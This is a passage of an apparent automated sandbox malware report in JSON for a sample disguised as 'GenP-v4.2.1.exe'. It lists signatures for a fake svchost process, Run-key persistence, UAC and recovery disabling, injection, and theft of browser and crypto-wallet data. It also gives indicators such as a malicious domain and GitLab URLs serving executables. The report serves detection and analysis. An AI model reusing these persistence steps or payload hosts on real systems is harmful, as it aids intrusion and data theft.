(API string)","description":"Found reference to API \"ReleaseMutex\" (Indicator: \"ReleaseMutex\"; Source: \"00000000-00006656.00000000.258291.008D7000.00000002.mdmp, 00000000-00006656.00000001.260210.6FE6F000.00000002.mdmp\")\n Found reference to API \"CreateMutexExW\" (Indicator: \"CreateMutex\"; Source: \"00000000-00006656.00000000.258291.008D7000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-354","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Unusual Characteristics","name":"Detected known bank URL artifact","description":"\".getmicrosoftkey.com1&0\" (Source: 00000000-00001656.00000001.256170.0187A000.00000004.mdmp, 00000000-00001656.00000002.257253.0185D000.00000004.mdmp, Indicator: \"key.com\")","origin":"File/Memory","relevance":2,"id":"string-23","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops executable files inside temp directory","description":"\"dllhost.exe\" has type \"PE32 executable for MS Windows 6.01 (GUI) Intel i386 UPX compressed 3 sections\"- Location: [%TEMP%\\dllhost.exe]- [targetUID: 00000000-00001656]","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-33","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops files inside appdata directory","description":"Dropped file: \"ModuleAnalysisCache\" - Location: [%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache]- [targetUID: 00000000-00006656]\n Dropped file: \"StartupProfileData-Interactive\" - Location: [%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\StartupProfileData-Interactive]- [targetUID: 00000000-00006656]\n Dropped file: \"OSPPSVC.EXE\" - Location: [%LOCALAPPDATA%\\Programs\\OSPPSVC.EXE]- [targetUID: 00000000-00001656]","origin":"Binary File","mitre_attack_id":"T1036","relevance":3,"id":"binary-37","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Unusual Characteristics","name":"Input file contains API references not part of its Import Address Table (IAT)","description":"$5a","origin":"File/Memory","mitre_attack_id":"T1106","relevance":10,"id":"string-64","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\"svchost.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")\n \"OSPPSVC.EXE\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")","origin":"Registry Access","mitre_attack_id":"T1614.001","relevance":2,"id":"registry-26","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Unusual Characteristics","name":"Uses certutil from the Windows Certificate Services","description":"Process \"certutil.exe\" (UID: 00000000-00005304)","origin":"Monitored Target","mitre_attack_id":"T1140","relevance":10,"id":"target-60","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)","description":"\"Genpv4.2.1.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 6860)\n \"powershell.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 6656)","origin":"API Call","mitre_attack_id":"T1562.001","relevance":10,"id":"api-1","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"suspicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"12/27 Antivirus vendors marked sample as malicious (44% detection rate)","origin":"External System","id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"suspicious","category":"General","name":"POSTs data to a web server","description":"$5b","origin":"Network Traffic","mitre_attack_id":"T1041","relevance":5,"id":"network-4","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"suspicious","category":"General","name":"Reads configuration files (.ini files)","description":"\"GenP-v4.2.1.exe\" reads file \"C:\\ProgramData\\Microsoft\\Windows\\WER\\Temp\\c43862135138\\config.ini\"","origin":"API Call","mitre_attack_id":"T1083","relevance":4,"id":"api-6","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"suspicious","category":"General","name":"Sends UDP traffic","description":"\"UDP connection to 1.1.1.1\"","origin":"Network Traffic","mitre_attack_id":"T1095","relevance":1,"id":"network-5","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Drops executable files","description":"$5c","origin":"Binary File","mitre_attack_id":"T1105","relevance":5,"id":"binary-1","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Modifies auto-execute functionality by setting/creating a value in the registry","description":"\"svchost.exe\" (Access type: \"CREATE\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\")\n \"svchost.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\"; Key: \"DLLHOST\"; Value: \"%TEMP%\\dllhost.exe\")\n \"svchost.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\"; Key: \"OSPPSVC\"; Value: \"%LOCALAPPDATA%\\Programs\\OSPPSVC.EXE\")","origin":"Registry Access","mitre_attack_id":"T1547.001","relevance":8,"id":"registry-0","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Writes a PE file header to disc","description":"$5d","origin":"API Call","mitre_attack_id":"T1105","relevance":5,"id":"api-43","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"UDP traffic to 1.1.1.1 on port 443\n TCP traffic to 104.16.249.249 on port 443 is sent without HTTP header\n TCP traffic to 1.1.1.1 on port 443 is sent without HTTP header\n TCP traffic to 185.103.164.74 on port 443 is sent without HTTP header\n TCP traffic to 151.101.66.132 on port 443 is sent without HTTP header\n TCP traffic to 172.65.251.78 on port 443 is sent without HTTP header","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"suspicious","category":"Pattern Matching","name":"YARA signature match – Anomalous PE file structure","description":"YARA signature for null IAT Directory of PE file \"OSPPSVC.EXE\"\n YARA signature for null IAT Directory of PE file \"svchost.exe\"\n YARA signature for null IAT Directory of PE file \"dllhost.exe\"\n YARA signature for invalid Timestamp of PE file \"OSPPSVC.EXE\"\n YARA signature for invalid Timestamp of PE file \"svchost.exe\"\n YARA signature for invalid Timestamp of PE file \"dllhost.exe\"","origin":"YARA Signature","mitre_attack_id":"T1027.013","relevance":1,"id":"yara-153","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"suspicious","category":"Remote Access Related","name":"Contains references to WMI/WMIC","description":"Found string \"\\\\.\\root\\cimv2\" (Indicator: \"root\\cimv2\"; in Source: \"00000000-00001656-00002713-3013924662\")\n Found string \"WbemScripting.SWbemLocator.1\" (Indicator: \"wbemscripting.\"; in Source: \"00000000-00001656.00000002.257253.0185D000.00000004.mdmp\")\n Found string \"\\\\.\\root\\cimv2\" (Indicator: \"root\\cimv2\"; in Source: \"00000000-00001656.00000002.257253.0185D000.00000004.mdmp\")\n Found string \"root\\cimv2\" (Indicator: \"root\\cimv2\"; in Source: \"00000000-00001656.00000002.257253.0185D000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1047","relevance":3,"id":"string-30","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"suspicious","category":"System Destruction","name":"Opens file with deletion access rights","description":"$5e","origin":"API Call","mitre_attack_id":"T1070.004","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"suspicious","category":"System Security","name":"Modifies proxy settings","description":"\"powershell.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\"; Value: \"0100000000\")","origin":"Registry Access","mitre_attack_id":"T1090.001","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Detected system process execution without parameters (likely process injection)","description":"Process \"svchost.exe\" with commandline \"\" [UID: 00000000-00001656]","origin":"Monitored Target","mitre_attack_id":"T1218","relevance":7,"id":"target-503","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Drops script files inside temp directory","description":"Dropped file: \"__PSScriptPolicyTest_g1ysq5aj.x5f.ps1\" - Location: [%TEMP%\\__PSScriptPolicyTest_g1ysq5aj.x5f.ps1]- [targetUID: 00000000-00006656]\n Dropped file: \"__PSScriptPolicyTest_jijndlqk.guu.ps1\" - Location: [%TEMP%\\__PSScriptPolicyTest_jijndlqk.guu.ps1]- [targetUID: 00000000-00006656]","origin":"Binary File","mitre_attack_id":"T1105","relevance":5,"id":"binary-35","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Spawned processes are likely due to an injection","description":"Process \"%ALLUSERSPROFILE%\\Microsoft\\Windows\\WER\\Temp\\c43862135138\\GenP-v4.2.1.exe\" spawned likely due to injection\n Process \"%ALLUSERSPROFILE%\\Microsoft\\Windows\\WER\\Temp\\c43862135138\\svchost.exe\" spawned likely due to injection\n Process \"%LOCALAPPDATA%\\Programs\\OSPPSVC.EXE\" spawned likely due to injection\n Process \"%WINDIR%\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe\" spawned likely due to injection","origin":"Monitored Target","mitre_attack_id":"T1055","relevance":3,"id":"target-413","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Writes multiple files with double extensions (often indicator of ransomware infection)","description":"\"Genpv4.2.1.exe\" write more than 100 files with extension \".2.1.exe\"","origin":"API Call","mitre_attack_id":"T1486","relevance":5,"id":"api-201","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"malicious","category":"Anti-Detection/Stealthiness","name":"Creates a fake system process","description":"Process \"svchost.exe\" at non-system pathway \"%ALLUSERSPROFILE%\\Microsoft\\Windows\\WER\\Temp\\c43862135138\\svchost.exe\" (UID: 00000000-00001656)","origin":"Monitored Target","mitre_attack_id":"T1036.005","relevance":10,"id":"target-33","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"malicious","category":"Anti-Detection/Stealthiness","name":"Found a system process name at an unusual pathway","description":"Process \"svchost.exe\" has a system process name but is not located in a Windows (sub-)directory (UID: 00000000-00001656)","origin":"Monitored Target","mitre_attack_id":"T1036.005","relevance":3,"id":"target-94","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a large number of Antivirus engines","description":"12/27 Antivirus vendors marked sample as malicious (44% detection rate)","origin":"External System","relevance":10,"id":"avtest-3","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a trusted antivirus engine","description":"Trusted antivirus vendors count marked sample as malicious (count = 3)","origin":"External System","mitre_attack_id":"T1204.002","relevance":10,"id":"avtest-5","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"malicious","category":"General","name":"The analysis extracted a file that was identified as malicious","description":"13/24 Antivirus vendors marked dropped file \"dllhost.exe\" as malicious (classified as \"Dump:Generic.Dacic.18086\" with 54% detection rate)\n 13/24 Antivirus vendors marked dropped file \"OSPPSVC.EXE\" as malicious (classified as \"Dump:Generic.Dacic.18086\" with 54% detection rate)","origin":"Binary File","mitre_attack_id":"T1204.002","relevance":10,"id":"binary-11","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"malicious","category":"General","name":"The analysis spawned a process that was identified as malicious","description":"13/24 Antivirus vendors marked spawned process \"svchost.exe\" (PID: 1656) as malicious (classified as \"Dump:Generic.Dacic.18086\" with 54% detection rate)\n 13/24 Antivirus vendors marked spawned process \"OSPPSVC.EXE\" (PID: 5880) as malicious (classified as \"Dump:Generic.Dacic.18086\" with 54% detection rate)\n 13/24 Antivirus vendors marked spawned process \"OSPPSVC.EXE\" (PID: 5740) as malicious (classified as \"Dump:Generic.Dacic.18086\" with 54% detection rate)\n 13/24 Antivirus vendors marked spawned process \"OSPPSVC.EXE\" (PID: 7652) as malicious (classified as \"Dump:Generic.Dacic.18086\" with 54% detection rate)","origin":"Monitored Target","mitre_attack_id":"T1204.002","relevance":10,"id":"target-58","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"malicious","category":"Installation/Persistence","name":"Drops executable files to the application program directory (%ProgramData%)","description":"File type \"PE32+ executable for MS Windows 5.02 (GUI) x86-64 7 sections\" was dropped at \"%ALLUSERSPROFILE%\\Microsoft\\Windows\\WER\\Temp\\c43862135138\\GenP-v4.2.1.exe\"\n File type \"PE32 executable for MS Windows 6.01 (GUI) Intel i386 UPX compressed 3 sections\" was dropped at \"%ALLUSERSPROFILE%\\Microsoft\\Windows\\WER\\Temp\\c43862135138\\svchost.exe\"","origin":"Binary File","mitre_attack_id":"T1036","relevance":7,"id":"binary-27","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"malicious","category":"Installation/Persistence","name":"Loads the task scheduler COM API","description":"\"svchost.exe\" loaded module \"%WINDIR%\\SysWOW64\\taskschd.dll\" at 74630000","origin":"Loaded Module","mitre_attack_id":"T1559.001","relevance":5,"id":"module-4","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"malicious","category":"Installation/Persistence","name":"Sets a computer-based training (CBT) hook","description":"\"GenP-v4.2.1.exe\" sets a callback procedure (1b0b7f60000) using filter \"WH_CBT\" for process ID: 1e08","origin":"API Call","mitre_attack_id":"T1056.004","relevance":10,"id":"api-74","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"malicious","category":"Installation/Persistence","name":"Writes data to a remote process","description":"$5f","origin":"API Call","mitre_attack_id":"T1055","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"malicious","category":"Network Related","name":"Application communicates with a malicious domain","description":"Contacted Domain: \"sa1atik.cn\" has been identified as malicious","origin":"Network Traffic","mitre_attack_id":"T1566","relevance":10,"id":"network-88","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"malicious","category":"Network Related","name":"GETs executable from a web server (HTTPS)","description":"GET /webrat1/importantfiles/-/raw/main/7z.dll HTTP/1.1\nHost: gitlab.com\nConnection: Keep-Alive\n\n GET /webrat1/importantfiles/-/raw/main/7z.exe HTTP/1.1\n\n GET /webrat1/importantfiles/-/raw/main/MSTSCLib.dll HTTP/1.1\n\n GET /webrat1/importantfiles/-/raw/main/AxMSTSCLib.dll HTTP/1.1\n\n GET /webrat1/importantfiles/-/raw/main/ffmpeg.exe HTTP/1.1\n","origin":"Network Traffic","mitre_attack_id":"T1105","relevance":5,"id":"network-74","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"malicious","category":"Ransomware/Banking","name":"Checks for files associated with bitcoin mining software","description":"\"OSPPSVC.EXE\" opened file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\bytecoin\"\n \"OSPPSVC.EXE\" opened file \"%APPDATA%\\bytecoin\"","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-46","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Tries to steal Crypto currency wallets information (file access)","description":"$60","origin":"API Call","mitre_attack_id":"T1005","relevance":10,"id":"api-101","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Tries to steal browser sensitive information (file access)","description":"$61","origin":"API Call","mitre_attack_id":"T1005","relevance":10,"id":"api-96","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"malicious","category":"System Security","name":"Modifies the UAC/LUA settings (Account Control)","description":"\"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\POLICIES\\SYSTEM\"; Key: \"ENABLELUA\"; Value: \"0000000000\")","origin":"Registry Access","mitre_attack_id":"T1112","relevance":8,"id":"registry-10","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Spawns many processes","description":"Spawned process \"Genpv4.2.1.exe\" (UID: 00000000-00006860)\n Spawned process \"GenP-v4.2.1.exe\" (UID: 00000000-00007688)\n Spawned process \"svchost.exe\" (UID: 00000000-00001656)\n Spawned process \"cmd.exe\" with commandline \"/c certutil -store Root mitmproxy >nul 2>&1\" (UID: 00000000-00000788)\n Spawned process \"certutil.exe\" with commandline \"certutil -store Root mitmproxy\" (UID: 00000000-00005304)\n Spawned process \"OSPPSVC.EXE\" (UID: 00000000-00005880)\n Spawned process \"powershell.exe\" (UID: 00000000-00006656)\n Spawned process \"OSPPSVC.EXE\" with commandline \"-\" (UID: 00000000-00005740)\n Spawned process \"OSPPSVC.EXE\" with commandline \"-\" (UID: 00000000-00007652)\n Spawned process \"ReAgentc.exe\" with commandline \"/disable\" (UID: 00000000-00002072)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":8,"id":"target-14","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]}],"incidents":[{"name":"Spyware","details_count":6,"details":[{"detail":"Sets a computer-based training (CBT) hook"},{"detail":"Hooks API calls"},{"detail":"POSTs data to a web server"},{"detail":"Found a string that may be used as part of an injection method"},{"detail":"Tries to steal browser sensitive information (file access)"},{"detail":"Attempts to steal desktop application's information (file access)"}],"sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"name":"Stealer/Phishing","details_count":1,"details":[{"detail":"Reads FTP client related files"}],"sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"name":"Persistence","details_count":6,"details":[{"detail":"Writes data to a remote process"},{"detail":"Creates new processes"},{"detail":"Modifies auto-execute functionality by setting/creating a value in the registry"},{"detail":"Spawns many processes"},{"detail":"Creates a fake system process"},{"detail":"Drops executable files to the application program directory (%ProgramData%)"}],"sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"name":"Fingerprint","details_count":2,"details":[{"detail":"Queries kernel debugger information"},{"detail":"Queries sensitive IE security settings"}],"sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"name":"Evasive","details_count":3,"details":[{"detail":"Queries physical drive (often used to detect virtual machines)"},{"detail":"Executes WMI queries known to be used for VM detection"},{"detail":"Found a reference to a WMI query string known to be used for VM detection"}],"sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"name":"Exploit","details_count":1,"details":[{"detail":"GETs/downloads executable files from web server"}],"sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"name":"Network","details_count":1,"details":[{"detail":"GETs executable from a web server (HTTPS)"}],"sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 4 domains and 4 hosts"}],"sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]}],"intel_graph":{"map":{"Domain:026042d01ac6e8faf294ec9b5816b47f34558c59cbe3d30937ddc18e43fe1f1e":{"type":"Domain","value":"dns.google","verdict":{"verdict":"unknown"}},"Domain:0b74fc419a513e832e21208d63bc84be7583250b62162557167f8da18e10f635":{"type":"Domain","value":"cloudflare-dns.com","verdict":{"verdict":"unknown"}},"Domain:173aa603755688ca7fd8d7bf1565f2112df347dab1cf3b777b4d7559a68482e5":{"type":"Domain","value":"tonapi.io","verdict":{"verdict":"unknown"}},"Domain:5f93289debb5d6dee51139b15fad9cbf01330e06ead87a680481397c29193a8f":{"type":"Domain","value":"sa1atik.cn","verdict":{"verdict":"unknown"}},"Domain:e1227f45ed05b7daebae2c1aa3751ee434669536e0b125071ac3d88bb05d33c8":{"type":"Domain","value":"ton.access.orbs.network","verdict":{"verdict":"unknown"}},"Domain:gitlab.com":{"type":"Domain","value":"gitlab.com"},"File:3eed84e823236db397e5b1d87e3106655d90318ceb97cbf4b653366e2ba43f20":{"type":"File","value":"3eed84e823236db397e5b1d87e3106655d90318ceb97cbf4b653366e2ba43f20"},"File:5738fee27e66e775e7728ece019893cbfc694c94d23db4bc1a8afc4d9e17a7d9":{"type":"File","value":"5738fee27e66e775e7728ece019893cbfc694c94d23db4bc1a8afc4d9e17a7d9","verdict":{"verdict":"suspicious","verdict_source":"static analysis","reasons":["Associated with known suspicious activity"]},"filetype":"PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows, 3 sections","filetype_short":"PE32","mime_type":"application/x-dosexec"},"File:5fd36031ae1fe5c7f5682a7d116c3acfbf314a9fe55909878f492f84d1f6ac92":{"type":"File","value":"5fd36031ae1fe5c7f5682a7d116c3acfbf314a9fe55909878f492f84d1f6ac92"},"File:8d5a0950594831454aa0125903c4d6ca6df7f8d2fc50d957ed5a59f6947f6547":{"type":"File","value":"8d5a0950594831454aa0125903c4d6ca6df7f8d2fc50d957ed5a59f6947f6547"},"File:96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7":{"type":"File","value":"96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7"},"File:b5bea41b6c623f7c09f1bf24dcae58ebab3c0cdd90ad966bc43a45b44867e12b":{"type":"File","value":"b5bea41b6c623f7c09f1bf24dcae58ebab3c0cdd90ad966bc43a45b44867e12b","verdict":{"verdict":"likely_benign","verdict_source":"static analysis","reasons":["Very short text file without any suspicious content"]},"filetype":"ASCII text, with no line terminators","filetype_short":"ASCIITEXT","mime_type":"text/plain"},"File:d155ed8351e8d495eea08d3b38af849d40dc2940fb9da32eb3ab7dd5eceded4f":{"type":"File","value":"d155ed8351e8d495eea08d3b38af849d40dc2940fb9da32eb3ab7dd5eceded4f"},"File:e3d7e9ac231d261f4025a330179563ce0d86b573ce846e3104dc4dc3e1754f86":{"type":"File","value":"e3d7e9ac231d261f4025a330179563ce0d86b573ce846e3104dc4dc3e1754f86"},"Ip:1.1.1.1":{"type":"Ip","value":"1.1.1.1"},"Ip:104.16.249.249":{"type":"Ip","value":"104.16.249.249"},"Ip:151.101.66.132":{"type":"Ip","value":"151.101.66.132"},"Ip:172.65.251.78":{"type":"Ip","value":"172.65.251.78"},"Ip:185.103.164.74":{"type":"Ip","value":"185.103.164.74"},"Url:/route/1/mainnet/toncenter-api-v2/runGetMethod":{"type":"Url","value":"/route/1/mainnet/toncenter-api-v2/runGetMethod"},"Url:/sa1at/":{"type":"Url","value":"/sa1at/"},"Url:/users/sign_in":{"type":"Url","value":"/users/sign_in"},"Url:/webrat1/importantfiles/-/raw/main/7z.dll":{"type":"Url","value":"/webrat1/importantfiles/-/raw/main/7z.dll"},"Url:/webrat1/importantfiles/-/raw/main/7z.exe":{"type":"Url","value":"/webrat1/importantfiles/-/raw/main/7z.exe"},"Url:/webrat1/importantfiles/-/raw/main/AxMSTSCLib.dll":{"type":"Url","value":"/webrat1/importantfiles/-/raw/main/AxMSTSCLib.dll"},"Url:/webrat1/importantfiles/-/raw/main/MSTSCLib.dll":{"type":"Url","value":"/webrat1/importantfiles/-/raw/main/MSTSCLib.dll"},"Url:/webrat1/importantfiles/-/raw/main/ffmpeg.exe":{"type":"Url","value":"/webrat1/importantfiles/-/raw/main/ffmpeg.exe"}},"chains":[{"id":"1557477081042107707","root":"File:5738fee27e66e775e7728ece019893cbfc694c94d23db4bc1a8afc4d9e17a7d9","edges":[{"edge_kind":"contacted_domain","from_key":"File:5738fee27e66e775e7728ece019893cbfc694c94d23db4bc1a8afc4d9e17a7d9","to_key":"Domain:026042d01ac6e8faf294ec9b5816b47f34558c59cbe3d30937ddc18e43fe1f1e"}],"verdict":{"verdict":"unknown"}},{"id":"1557477081050496371","root":"File:5738fee27e66e775e7728ece019893cbfc694c94d23db4bc1a8afc4d9e17a7d9","edges":[{"edge_kind":"contacted_domain","from_key":"File:5738fee27e66e775e7728ece019893cbfc694c94d23db4bc1a8afc4d9e17a7d9","to_key":"Domain:0b74fc419a513e832e21208d63bc84be7583250b62162557167f8da18e10f635"}],"verdict":{"verdict":"unknown"}},{"id":"1557477081058885020","root":"File:5738fee27e66e775e7728ece019893cbfc694c94d23db4bc1a8afc4d9e17a7d9","edges":[{"edge_kind":"contacted_domain","from_key":"File:5738fee27e66e775e7728ece019893cbfc694c94d23db4bc1a8afc4d9e17a7d9","to_key":"Domain:173aa603755688ca7fd8d7bf1565f2112df347dab1cf3b777b4d7559a68482e5"}],"verdict":{"verdict":"unknown"}},{"id":"1557477081042107721","root":"File:5738fee27e66e775e7728ece019893cbfc694c94d23db4bc1a8afc4d9e17a7d9","edges":[{"edge_kind":"contacted_domain","from_key":"File:5738fee27e66e775e7728ece019893cbfc694c94d23db4bc1a8afc4d9e17a7d9","to_key":"Domain:5f93289debb5d6dee51139b15fad9cbf01330e06ead87a680481397c29193a8f"}],"verdict":{"verdict":"unknown"}},{"id":"1557477081050496354","root":"File:5738fee27e66e775e7728ece019893cbfc694c94d23db4bc1a8afc4d9e17a7d9","edges":[{"edge_kind":"contacted_domain","from_key":"File:5738fee27e66e775e7728ece019893cbfc694c94d23db4bc1a8afc4d9e17a7d9","to_key":"Domain:e1227f45ed05b7daebae2c1aa3751ee434669536e0b125071ac3d88bb05d33c8"}],"verdict":{"verdict":"unknown"}},{"id":"1557477083311226313","root":"File:b5bea41b6c623f7c09f1bf24dcae58ebab3c0cdd90ad966bc43a45b44867e12b","edges":[],"verdict":{"verdict":"likely_benign","verdict_source":"static analysis","reasons":["Very short text file without any suspicious content"]}},{"id":"sandbox_network","root":"File:5738fee27e66e775e7728ece019893cbfc694c94d23db4bc1a8afc4d9e17a7d9","edges":[{"edge_kind":"contacted_ip","from_key":"File:5738fee27e66e775e7728ece019893cbfc694c94d23db4bc1a8afc4d9e17a7d9","to_key":"Ip:1.1.1.1"},{"edge_kind":"contacted_ip","from_key":"File:5738fee27e66e775e7728ece019893cbfc694c94d23db4bc1a8afc4d9e17a7d9","to_key":"Ip:104.16.249.249"},{"edge_kind":"contacted_ip","from_key":"File:5738fee27e66e775e7728ece019893cbfc694c94d23db4bc1a8afc4d9e17a7d9","to_key":"Ip:185.103.164.74"},{"edge_kind":"contacted_ip","from_key":"File:5738fee27e66e775e7728ece019893cbfc694c94d23db4bc1a8afc4d9e17a7d9","to_key":"Ip:151.101.66.132"},{"edge_kind":"contacted_ip","from_key":"File:5738fee27e66e775e7728ece019893cbfc694c94d23db4bc1a8afc4d9e17a7d9","to_key":"Ip:172.65.251.78"},{"edge_kind":"contacted_domain","from_key":"File:5738fee27e66e775e7728ece019893cbfc694c94d23db4bc1a8afc4d9e17a7d9","to_key":"Domain:e1227f45ed05b7daebae2c1aa3751ee434669536e0b125071ac3d88bb05d33c8"},{"edge_kind":"contacted_domain","from_key":"File:5738fee27e66e775e7728ece019893cbfc694c94d23db4bc1a8afc4d9e17a7d9","to_key":"Domain:0b74fc419a513e832e21208d63bc84be7583250b62162557167f8da18e10f635"},{"edge_kind":"contacted_domain","from_key":"File:5738fee27e66e775e7728ece019893cbfc694c94d23db4bc1a8afc4d9e17a7d9","to_key":"Domain:026042d01ac6e8faf294ec9b5816b47f34558c59cbe3d30937ddc18e43fe1f1e"},{"edge_kind":"contacted_domain","from_key":"File:5738fee27e66e775e7728ece019893cbfc694c94d23db4bc1a8afc4d9e17a7d9","to_key":"Domain:5f93289debb5d6dee51139b15fad9cbf01330e06ead87a680481397c29193a8f"},{"edge_kind":"contacted_domain","from_key":"File:5738fee27e66e775e7728ece019893cbfc694c94d23db4bc1a8afc4d9e17a7d9","to_key":"Domain:173aa603755688ca7fd8d7bf1565f2112df347dab1cf3b777b4d7559a68482e5"},{"edge_kind":"contacted_domain","from_key":"File:5738fee27e66e775e7728ece019893cbfc694c94d23db4bc1a8afc4d9e17a7d9","to_key":"Domain:gi